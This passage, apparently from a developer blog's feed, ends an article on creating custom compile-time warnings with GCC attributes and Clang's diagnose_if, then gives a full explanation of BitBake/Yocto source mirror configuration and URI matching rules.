        &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;library.c:
void library_warning() { }
int __internal_do_stuff(int *arg) {
  // do usefull stuff
  return 0;
}

library.h:
extern void library_warning() __attribute__((warning(&quot;Warning message&quot;)));
extern int __internal_do_stuff(int *arg);
static inline void __attribute__ ((always_inline, artificial)) do_stuff() {
  library_warning();
  __internal_do_stuff();
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;        &lt;/div&gt;

        &lt;p&gt;This solution used by the GNU Libc.&lt;/p&gt;
      &lt;/li&gt;
      &lt;li&gt;
        &lt;p&gt;If you use a macro wrapper you should enable “-Wsystem-headers” warnings for your code:&lt;/p&gt;

        &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;library.c:
int __internal_do_stuff(int *arg) {
  // do usefull stuff
  return 0;
}

library.h:
static inline void __attribute__((warning(&quot;Warning message&quot;), optimize(&quot;O0&quot;))) library_warning() {  }
extern int __internal_do_stuff(int *arg);
#pragma GCC diagnostic push
#pragma GCC diagnostic warning &quot;-Wsystem-headers&quot;
#define do_stuff(arg) ({ \
  library_warning();     \
  __internal_do_stuff(); \
})
#pragma GCC diagnostic pop
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;        &lt;/div&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The solution with warnings will conflict with the usage of the “-Werror” compilation flag. As on December 2018 all the GCC versions will fail the compilation with an error if the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__attribute__((warning(&quot;...&quot;)))&lt;/code&gt; code will be compiled with the “-Werror” flag. There is no way to change this behavior. The possible solutions to this issue:&lt;/p&gt;

    &lt;ul&gt;
      &lt;li&gt;
        &lt;p&gt;You can change a code to use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__attribute__((warn_unused_result))&lt;/code&gt; instead:&lt;/p&gt;

        &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;library.c:
int __internal_do_stuff(int *arg) {
  // do usefull stuff
  return 0;
}

library.h:
// this pragma should be global to forcely move this diagnostics from errors to warnings
#pragma GCC diagnostic warning &quot;-Wunused-result&quot;
#pragma GCC diagnostic push
#pragma GCC diagnostic warning &quot;-Wsystem-headers&quot;
static inline void __attribute__((warn_unused_result, optimize(&quot;O0&quot;))) library_warning() {  }
extern int __internal_do_stuff(int *arg);
#define do_stuff(arg) ({ \
  (void)((integer_constant_expression_condition) ? library_warning() : 0);     \
  __internal_do_stuff(); \
})
#pragma GCC diagnostic pop
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;        &lt;/div&gt;
      &lt;/li&gt;
      &lt;li&gt;
        &lt;p&gt;Or you can wait for the next GCC upstream release where we added the solution for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__attribute__((warning(&quot;&quot;)))&lt;/code&gt; itself and use a new “-Wno-error=attribute-warning” that we submitted to the GCC as a result of the described work.&lt;/p&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;final-code-template&quot;&gt;Final Code Template&lt;/h2&gt;

&lt;p&gt;Finally, let’s combine all the described work together and show how the custom warnings can be created for a GCC-based code:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;        library.c:
        int __internal_do_stuff(int *arg) {
          // do usefull stuff
          return 0;
        }

        library.h:
        #ifndef LIBRARY_H
        #define LIBRARY_H
        
        /* Interpret all the &quot;warning&quot; attributes in a code compiled 
           with this library as warnings, regardless of -Werror or
           -Wno-attribute-warning flags.
           As on Dec 2018, this flag is supported only in GCC trunk */
        #pragma GCC diagnostic warning &quot;-Wattribute-warning&quot;

        /* Declare the internal functions that we will wrap */
        extern int __internal_do_stuff(int *arg);

        /* Create the warning functions with a specific messages.
           Make sure that these functions would not be optimized out from the code.
           Define function as a static to not export the name from the resulting binaries. */
        static inline void __attribute__((warning(&quot;Warning message&quot;), optimize(&quot;O0&quot;))) library_warning() {  }

        /* Print this warnings even if the library.h is installed to the system headers directory.
           This behavior will be applied only to library.h code.
           Other system headers will not print the warnings */
        #pragma GCC diagnostic push
        #pragma GCC diagnostic warning &quot;-Wsystem-headers&quot;

        /* Wrap all the functions in the macro definitions with the GCC Compound expressions inside.
           Make sure that all the `if&apos; conditions are integer constant expressions. Otherwise,
           there is no guarantees that the compiler will be able to otimize out the failed checks. */
        #define do_stuff(arg) ({                       \
          if (integer_constant_expression_condition) { \
            library_warning();                         \
          }                                            \
          __internal_do_stuff();                       \
        })
        
        #pragma GCC diagnostic pop
        
        #endif /* LIBRARY_H */
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;clang-based-solution&quot;&gt;Clang Based Solution&lt;/h1&gt;

&lt;p&gt;There is an alternate solution for the described issue supported in the Clang compiler. In order to emit compile-time warnings in Clang, you can just specify the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;diagnose-if&lt;/code&gt; &lt;a href=&quot;https://clang.llvm.org/docs/AttributeReference.html#diagnose-if&quot;&gt;attribute&lt;/a&gt; on the relevant function:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;library.h:
int do_stuff(int *arg) {
  // do usefull stuff
  return 0;
}

library.h:
int do_stuff(int *arg) __attribute__((diagnose_if(arg == NULL, &quot;arg is NULL&quot;, &quot;warning&quot;)));
int do_stuff(int *arg) 
  __attribute__((diagnose_if(__builtin_object_size(arg, 0) == -1, &quot;arg of unknown size&quot;, &quot;warning&quot;)));
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With the Clang &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__attribute__((diagnose_if(...)))&lt;/code&gt; there is no need in additional wrappers (you still should create a wrapper if you want to extract the information about the original type of the argument) and new warnings can be simply added with additional declaration lines.&lt;/p&gt;

&lt;p&gt;But the GNU GCC is still the main compiler in GNU/Linux systems and we think that the proposed article will be usable for all the GCC users.&lt;/p&gt;</content><author><name>Nikolai Merinov</name></author><summary type="html">As a part of my work for Inango Systems I investigated possibility to create custom warnings for C code and prepared this article.</summary></entry><entry><title type="html">Yocto Mirrors Mechanism</title><link href="https://mndet.net/2018/12/28/yocto-mirrors.html" rel="alternate" type="text/html" title="Yocto Mirrors Mechanism" /><published>2018-12-28T00:00:00+00:00</published><updated>2018-12-28T00:00:00+00:00</updated><id>https://mndet.net/2018/12/28/yocto-mirrors</id><content type="html" xml:base="https://mndet.net/2018/12/28/yocto-mirrors.html">&lt;p&gt;As a part of my work for &lt;a href=&quot;https://www.inango.com/&quot;&gt;Inango Systems&lt;/a&gt; I investigated BitBake support for mirrors (and even provided bugfix as one of the results of this investigation) and prepared this article.&lt;/p&gt;

&lt;h1 id=&quot;forewords&quot;&gt;Forewords&lt;/h1&gt;

&lt;p&gt;The BitBake build utility, adapted by the Yocto Project, allows for flexible configuration of source mirrors for all the remote files required during the build of Yocto distribution.
This functionality allows to speed up the distribution build, as well as organize a local backup with sources of all the packages used.&lt;/p&gt;

&lt;p&gt;However, this mechanism is rather poorly documented, and we are going to fix this situation in the current article.&lt;/p&gt;

&lt;h1 id=&quot;bitbake-source-mirrors&quot;&gt;BitBake Source Mirrors&lt;/h1&gt;

&lt;p&gt;The BitBake mirrors mechanism is supported at least in three places:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PREMIRRORS&lt;/code&gt; are primary mirrors that will be used before an upstream URI from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SRC_URI&lt;/code&gt;. It can be used to provide a quick mirrors to speed-up sources downloading.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MIRRORS&lt;/code&gt; are additional mirrors that are used when an upstream URI from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SRC_URI&lt;/code&gt; is not accessible. Creating &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MIRRORS&lt;/code&gt; is a good idea for a long-living distributions, when a distribution can out-live upstream sources of a used software.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SSTATE_MIRRORS&lt;/code&gt; are mirrors for prebuilt cache data objects. It can be used to share pre-built objects from CI builds.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The Yocto Project additionally provide the support for the next mechanisms:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;own-mirrors.bbclass&lt;/code&gt; is a standard way to provide a single pre-mirror for all supported fetchers:&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; INHERIT += &quot;own-mirrors&quot;
 SOURCE_MIRROR_URL = &quot;http://example.com/my-source-mirror&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BB_GENERATE_MIRROR_TARBALLS&lt;/code&gt; variable can be defined to “1” to allow reusing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DL_DIR&lt;/code&gt; from the current build as a mirror for other builds. Without a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BB_GENERATE_MIRROR_TARBALLS&lt;/code&gt; variable resulting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DL_DIR&lt;/code&gt; would not provide suitable mirrors for sources fetched from a VCS repositories.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BB_FETCH_PREMIRRORONLY&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SSTATE_MIRROR_ALLOW_NETWORK&lt;/code&gt; variables can be used to configure BitBake to download sources and build artifacts only from configured mirrors. This variables will be usable for all &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BB_NO_NETWORK&lt;/code&gt; configurations.&lt;/li&gt;
&lt;/ol&gt;

&lt;h1 id=&quot;yocto-documentation-on-mirrors-syntax&quot;&gt;Yocto Documentation on Mirrors Syntax&lt;/h1&gt;

&lt;p&gt;All things described in the previos part are correctly documented and can be found in the official documentation. But a syntax for mirror rules itself is poorly documented. An official documentation suggests only three examples how mirror rules can be created:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;In the &lt;a href=&quot;https://www.yoctoproject.org/docs/current/ref-manual/ref-manual.html#var-PREMIRRORS&quot;&gt;example&lt;/a&gt;[1] for a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PREMIRRORS&lt;/code&gt; variable we can see that we should use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.*/.*&lt;/code&gt; regexp to match all URI for a specific fetcher:&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; PREMIRRORS_prepend = &quot;\
 git://.*/.* http://www.yoctoproject.org/sources/ \n \
 ftp://.*/.* http://www.yoctoproject.org/sources/ \n \
 http://.*/.* http://www.yoctoproject.org/sources/ \n \
 https://.*/.* http://www.yoctoproject.org/sources/ \n&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;In the &lt;a href=&quot;https://www.yoctoproject.org/docs/current/mega-manual/mega-manual.html#var-SSTATE_MIRRORS&quot;&gt;example&lt;/a&gt;[2] for a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SSTATE_MIRRORS&lt;/code&gt; variable we can found that there are also supported &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PATH&lt;/code&gt; string in matching:&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; SSTATE_MIRRORS ?= &quot;\
 file://.* http://someserver.tld/share/sstate/PATH;downloadfilename=PATH \n \
 file://.* file:///some-local-dir/sstate/PATH&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;In same &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SSTATE_MIRROS&lt;/code&gt; &lt;a href=&quot;https://www.yoctoproject.org/docs/current/mega-manual/mega-manual.html#var-SSTATE_MIRRORS&quot;&gt;example&lt;/a&gt;[2] we can additionally find information that a mirror syntax support more sophisticated regex usage:&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; SSTATE_MIRRORS ?= &quot;file://universal-4.9/(.*) http://server_url_sstate_path/universal-4.8/\1 \n&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;But there is no full description of the mirror matching mechanism. We offer the following as a way of filling this gap.&lt;/p&gt;

&lt;h1 id=&quot;yocto-mirror-syntax&quot;&gt;Yocto Mirror Syntax&lt;/h1&gt;

&lt;p&gt;All mirrors are defined as a “pattern replacement” pair. The BitBake attempts to match a source URI against each “pattern” and on a successfull match the BitBake generates a new mirror URI based on an original URI, by using the “pattern” and “replacement” definitions.&lt;/p&gt;

&lt;h2 id=&quot;uri-matching&quot;&gt;URI Matching&lt;/h2&gt;

&lt;p&gt;Each URI, including “pattern” and “replacement” strings, is split into six components before matching as follows:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;scheme://user:password@hostname/path;parameters
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In an upstream URI this parts understood as strings, in a “pattern” this parts is interpreted as python &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;re&lt;/code&gt; regexps (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;parameters&lt;/code&gt; is only field that is not regexp), in a “replacement” this parts is interpreted as regexp replacements in terms of python &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;re.sub&lt;/code&gt; function.&lt;/p&gt;

&lt;p&gt;All parts from an upstream URI matched against regexps from the corresponding part of a “pattern” with the next additional rules:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Bitbake always adds a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$&lt;/code&gt; sign to the end of a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;scheme&lt;/code&gt; regex. It was made to be sure that “http” &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;scheme&lt;/code&gt; whould not match “https” string.&lt;/li&gt;
  &lt;li&gt;If a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;scheme&lt;/code&gt; is a “file” then the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hostname&lt;/code&gt; is assumed to be empty. Otherwise the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hostname&lt;/code&gt; is a text between “://” and next “/” character.&lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;parameters&lt;/code&gt; interpreted as a list of “param=value” pairs. For each such pair specified in “pattern” there are should be a full match in an original &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SRC_URI&lt;/code&gt;. It is the only field that matched with a string equality instead of a regexp matching.&lt;/p&gt;

    &lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; A parameters matching was broken up to Yocto 2.6 release. This issue was found and fixed as a part of work on this documentation.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;uri-replacement&quot;&gt;URI Replacement&lt;/h2&gt;

&lt;p&gt;If a URI was successfully matched, then bitbake creates a new mirror URI from an upstream URI using a “replacement” string. The BitBake uses next rules to make a replacement:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;A replacement is made for each part of the URI separately.&lt;/li&gt;
  &lt;li&gt;Before replacement is performed, we replace the next substrings in a correspondend part of a “replacement” string:
    &lt;ol&gt;
      &lt;li&gt;“TYPE” – this substring in a “replacement” string will be replaced with an original URI scheme.&lt;/li&gt;
      &lt;li&gt;“HOST” – will be replaced with an original URI hostname.&lt;/li&gt;
      &lt;li&gt;“PATH” – will be replaced with an original URI path.&lt;/li&gt;
      &lt;li&gt;“BASENAME” – will be replaced with a basename of “PATH” (with a substring that can be found after the last &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;/&quot;&lt;/code&gt; symbol).&lt;/li&gt;
      &lt;li&gt;“MIRRORNAME” – will be replaced with a special string obtained as concatenation of a “HOST” with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;:&quot;&lt;/code&gt; symbols replaced with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;.&quot;&lt;/code&gt; symbols and a “PATH” with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;/&quot;&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;*&quot;&lt;/code&gt; symbols replaced with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;.&quot;&lt;/code&gt; symbols.&lt;/li&gt;
    &lt;/ol&gt;

    &lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt;: In the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;parameters&lt;/code&gt; list this replacement is made only in a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;value&lt;/code&gt; part of a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;param=value&lt;/code&gt; pairs.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;Each part except the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;parameters&lt;/code&gt; is replaced with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;re.sub(part_from_pattern, part_from_replacement, part_from_original_uri, 1)&lt;/code&gt; Python command. This means that the BitBake will replace only a first match from a current part and that you can use a Python regex replacement syntax including &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;\1&quot;&lt;/code&gt; syntax to insert parts of a matched URI to a result.&lt;/li&gt;
  &lt;li&gt;If an original URI &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;scheme&lt;/code&gt; differs from a “replacement” &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;scheme&lt;/code&gt; then an original &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;parameters&lt;/code&gt; would be wiped.&lt;/li&gt;
  &lt;li&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;parameters&lt;/code&gt; from a “replacement” should be added to a resulting URI. If there were parameters with the same names in an original URI then a value for this parameters will be overridden.&lt;/li&gt;
  &lt;li&gt;Finally, the BitBake checks that a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;path&lt;/code&gt; part upon replacement is finished with a suggested “basename”. If a resulting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;path&lt;/code&gt; finished with any other string then a resulting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;path&lt;/code&gt; will be concatenated with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;/basename&quot;&lt;/code&gt; string. A suggested “basename” is created according to the next rules:
    &lt;ol&gt;
      &lt;li&gt;If &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;scheme&lt;/code&gt; was not changed then “basename” is just a basename of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;path&lt;/code&gt; from an originial URI.&lt;/li&gt;
      &lt;li&gt;If &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;scheme&lt;/code&gt; was changed and an original URI is pointed to a single file or a tarball with sources then the same &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;basename&lt;/code&gt; as in the first rule will be used.&lt;/li&gt;
      &lt;li&gt;If &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;scheme&lt;/code&gt; was changed and an original URI pointed to a some kind of repository then a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mirrortarball&lt;/code&gt; name will be used. This name is a fetcher specific. e.g. for a git repositories a tarball name will be “git2_hostname.path.to.repo.git.tar.gz”.&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt;: Last step means that it is impossible to use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;file:///some/path/b.tar.gz&quot;&lt;/code&gt; as a mirror path for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;http://other/path/a.tar.gz&quot;&lt;/code&gt;, but you still can use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;file:///some/path/a.tar.gz&quot;&lt;/code&gt; or the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;file:///some/path/prefix_a.tar.gz&quot;&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;step-by-step-process-description&quot;&gt;Step by Step Process Description&lt;/h2&gt;

&lt;p&gt;Let’s check how next example will be proceeded:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;SRC_URI = &quot;git://git.invalid.infradead.org/foo/mtd-utils.git;branch=master;tag=1234567890123456789012345678901234567890&quot;
PREMIRRORS = &quot;git://.*/.*;branch=master git://somewhere.org/somedir/MIRRORNAME;protocol=http;branch=master_backup \n&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;First of all, we’ll split all the three URI’s into the next parts:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;upstream:
    scheme     = &quot;git&quot;
    user       = &quot;&quot;
    password   = &quot;&quot;
    host       = &quot;git.invalid.infradead.org&quot;
    path       = &quot;/foo/mtd-utils.git&quot;
    parameters = {&quot;branch&quot;: &quot;master&quot;, &quot;tag&quot;: &quot;1234567890123456789012345678901234567890&quot;}
pattern:
    scheme     = &quot;git$&quot;
    user       = &quot;&quot;
    password   = &quot;&quot;
    host       = &quot;.*&quot;
    path       = &quot;/.*&quot;
    parameters = {&quot;branch&quot;: &quot;master&quot;}
replacement:
    scheme     = &quot;git&quot;
    user       = &quot;&quot;
    password   = &quot;&quot;
    host       = &quot;somewhere.org&quot;
    path       = &quot;/somedir/MIRRORNAME&quot;
    parameters = {&quot;branch&quot;: &quot;master_backup&quot;, &quot;protocol&quot;: &quot;http&quot;}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On the next step the BitBake will match the “upstream” URI parts against the corresponding parts of the “pattern” with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;re.match(pattern.part, upstream.part)&lt;/code&gt; command for all the parts except the “parameters”. For the “parameters” the BitBake will check that the value for a “branch” parameter in the “upstrem” URI and the “pattern” URI are equal.&lt;/p&gt;

&lt;p&gt;When these checks pass, the BitBake will start a replacement process. In each part of the “replacement” the BitBake will make the replacements for the special strings:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;replacement:
    scheme     = &quot;git&quot;
    user       = &quot;&quot;
    password   = &quot;&quot;
    host       = &quot;somewhere.org&quot;
    path       = &quot;/somedir/git.invalid.infradead.org.foo.mtd-utils.git&quot;
    parameters = {&quot;protocol&quot;: &quot;http&quot;, &quot;branch&quot;: &quot;master_backup&quot;}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then the BitBake will make the actual replacements with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;re.sub(pattern.part, replacement.part, upstream.part, 1)&lt;/code&gt; command for the all parts except the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;parameters&lt;/code&gt;. This means that if you want to replace a part complitely, then pattern should be a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;.*&quot;&lt;/code&gt; instead of a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;&quot;&lt;/code&gt;. For the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;parameters&lt;/code&gt; the new keys will be added to the list and the old values will be replaced. As the result we will get as follows:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;result:
    scheme     = &quot;git&quot;
    user       = &quot;&quot;
    password   = &quot;&quot;
    host       = &quot;somewhere.org&quot;
    path       = &quot;/somedir/git.invalid.infradead.org.foo.mtd-utils.git&quot;
    parameters = {&quot;branch&quot;: &quot;master_backup&quot;, &quot;protocol&quot;: &quot;http&quot;, &quot;tag&quot;: &quot;1234567890123456789012345678901234567890&quot;}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On the last step the BitBake will check that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;result.path&lt;/code&gt; finished with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;basename&lt;/code&gt; of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;upstream.path&lt;/code&gt;. Since the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;result.scheme&lt;/code&gt; and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;upstream.scheme&lt;/code&gt; are same, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;basename&lt;/code&gt; will be defined as an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;mtd-utils.git&quot;&lt;/code&gt; (if a scheme will be different, then &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;basename&lt;/code&gt; whould be defined to a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;git2_git.invalid.infradead.org.foo.mtd-utils.git.tar.gz&quot;&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;When the last check passes, the BitBake will combine a result to a new mirror URI that will be used as an alternative source for the files: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git://somewhere.org/somedir/git.invalid.infradead.org.foo.mtd-utils.git;branch=master_backup;protocol=http;tag=1234567890123456789012345678901234567890&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;You can find additional replacements examples in the BitBake unit tests &lt;a href=&quot;https://github.com/openembedded/bitbake/blob/master/lib/bb/tests/fetch.py#L374&quot;&gt;code&lt;/a&gt;[3].&lt;/p&gt;

&lt;h1 id=&quot;used-documentation&quot;&gt;Used Documentation&lt;/h1&gt;

&lt;p&gt;[1]: &lt;a href=&quot;https://www.yoctoproject.org/docs/current/ref-manual/ref-manual.html#var-PREMIRRORS&quot;&gt;https://www.yoctoproject.org/docs/current/ref-manual/ref-manual.html#var-PREMIRRORS&lt;/a&gt; ‘Simple example’&lt;/p&gt;

&lt;p&gt;[2]: &lt;a href=&quot;https://www.yoctoproject.org/docs/current/mega-manual/mega-manual.html#var-SSTATE_MIRRORS&quot;&gt;https://www.yoctoproject.org/docs/current/mega-manual/mega-manual.html#var-SSTATE_MIRRORS&lt;/a&gt; ‘extended example’&lt;/p&gt;

&lt;p&gt;[3]: &lt;a href=&quot;https://github.com/openembedded/bitbake/blob/master/lib/bb/tests/fetch.py#L374&quot;&gt;https://github.com/openembedded/bitbake/blob/master/lib/bb/tests/fetch.py#L374&lt;/a&gt; ‘Additional replacement examples’&lt;/p&gt;

